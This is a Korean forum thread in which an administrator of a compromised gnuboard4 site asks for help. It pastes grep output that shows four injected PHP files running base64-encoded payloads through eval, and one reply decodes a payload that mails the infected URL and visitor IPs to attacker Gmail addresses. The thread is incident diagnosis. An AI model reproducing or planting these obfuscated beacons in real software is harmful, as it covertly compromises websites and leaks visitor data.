PHP소스 하이재킹 코드 인젝션 여부

basscraft의 이미지

회사에서 운영하고 있는 PHP기반의 홈페이지 때문에

계속 외국 회사로부터 연락이 오고 있습니다.

사용자 정보를 하이재킹 하는 소스가 들어 있다고 계속 연락이 와서

한번 알아보니

gnuboard4 버전을 사용하고 있는데

~/public_html/gnuboard4/data 아래에 nobody 권한의 php파일이 몇개 있더군요

그건 다른 곳으로 옮겨두고 검색한 결과를 바탕으로

~/public_html/gnuboard4/common.php 에

$board_skin_path = ''; // 2010-03-19 pathed
// 스킨경로
if (isset($board['bo_skin']))
$board_skin_path = "{$g4['path']}/skin/board/{$board['bo_skin']}"; // 게시판 스킨 경로

이렇게 문자열을 초기화 시켜주는 한줄을 추가했습니다.

그리고
~/public_html/폴더 아래에 'eval(base' 라는 문구가 들어간 모든 파일을 찾아보니

./gnuboard4/lib/back.php
./gnuboard4/bbs/calendar/date.php
./gnuboard4/bbs/report.php
./gnuboard4/geditor/icons/up.php

이런 파일들이 조회가 되는데...

PHP 개발자가 아니라 내용을 봐도 무슨 내용인지 정말 필요한 건지
아닌지 잘 모르겠습니다.

[root@ns public_html]# grep -rs 'eval(base' *
gnuboard4/lib/back.php: JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkYm9keSA9ICJsYXBvcmFuIFxuJHdlYiRpbmoiO21haWwoImRhd2lya2VzdW1hQGdtYWlsLmNvbSIsInNldG9yYW4gYm96IGh0dHA6Ly8kd2ViJGluaiIsIiRib2R5Iik7bWFpbCgiZGF3aXJrZXN1bWFAZ21haWwuY29tIiwic2V0b3JhbiBib3ogaHR0cDovLyR3ZWIkaW5qIiwgIiRib2R5Iik7fSBlbHNlICR2aXNpdGNvdW50IDsgc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs=";echo eval(base64_decode($image));
gnuboard4/bbs/calendar/date.php:$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJzaGVsbHJvdXRpbmdAZ21haWwuY29tIiwiRngyOVNoZWxsIGh0dHA6Ly8kdGFyZ2V0IGJ5ICR2aXNpdG9yIiwgIiRib2R5Iik7IH0gZWxzZSB7ICR2aXNpdGNvdW50OyB9IHNldGNvb2tpZSgidmlzaXRzIiwkdmlzaXRjb3VudCk7"; eval(base64_decode($shell_data));
gnuboard4/bbs/report.php:$a="JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkYm9keSA9ICJhZGEgeWFuZyBpbmplY3QgXG4kd2ViJGluaiI7JHNleG1vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7aWYgKCRzZXhtb2RlPT0xKSB7JG5nZW50b3Q9ICJTYWZlX01vZGU9T04iO30gZWxzZSB7JG5nZW50b3Q9ICJTYWZlX01vZGU9T0ZGIjt9OyRzZXJwZXI9Z2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk7JGluamVrdG9yID0gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSk7bWFpbCgiZHJhZ29uLnJhY3Jld0BnbWFpbC5jb20iLCJzZXRvcmFuIHBhayBodHRwOi8vJHdlYiRpbmpcbiRuZ2VudG90XG5JUCBTZXJ2ZXIgPSAkc2VycGVyXG4gSVAgSW5qZWN0b3I9ICRpbmpla3RvciIsICIkYm9keSIpO21haWwoImRyYWdvbi5yYWNyZXdAZ21haWwuY29tIiwic2V0b3JhbiBib3ogc2FraXRqaXdhIGh0dHA6Ly8kd2ViJGlualxuJG5nZW50b3RcbklQIFNlcnZlciA9ICRzZXJwZXJcbiBJUCBJbmplY3Rvcj0gJGluamVrdG9yIiwgIiRib2R5Iik7fSBlbHNlICR2aXNpdGNvdW50IDsgc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs=";echo eval(base64_decode($a));
gnuboard4/geditor/icons/up.php:$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJzaGVsbHJvdXRpbmdAZ21haWwuY29tIiwiRngyOVNoZWxsIGh0dHA6Ly8kdGFyZ2V0IGJ5ICR2aXNpdG9yIiwgIiRib2R5Iik7IH0gZWxzZSB7ICR2aXNpdGNvdW50OyB9IHNldGNvb2tpZSgidmlzaXRzIiwkdmlzaXRjb3VudCk7"; eval(base64_decode($shell_data));
[root@ns public_html]#

이게 있어도 되는 파일들 일까요? ㅠㅠ

파일을 삭제해도 무방할지.... 아니면 저부분만 지워야 하는지...

좀 돠주십쇼 ㅠㅠ

unsouled의 이미지

위의 base64 encoding 된 내용을 decoding 하면,

$visitcount = $HTTP_COOKIE_VARS["visits"];
if( $visitcount == "") {
  $visitcount = 0; 
  $visitor = $_SERVER["REMOTE_ADDR"];
  $web = $_SERVER["HTTP_HOST"]; 
  $inj = $_SERVER["REQUEST_URI"];
  $target = rawurldecode($web.$inj); 
  $body = "Boss, there was an injected target on $target by $visitor"; 
  @mail("shellrouting@gmail.com","Fx29Shell http://$target by $visitor", "$body");
} else {
  $visitcount; 
} 
setcookie("visits",$visitcount);

이런 내용이 나옵니다. 내용으로 보면 결코 좋은 일을 하는 코드로는 보이지 않네요.

foo의 이미지

gnuboard에 그런 소스가 박혀있을 리는 업겠고, 먼저 gnuboard를 업그레이드 하시고, 시스템도 점검하시길

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.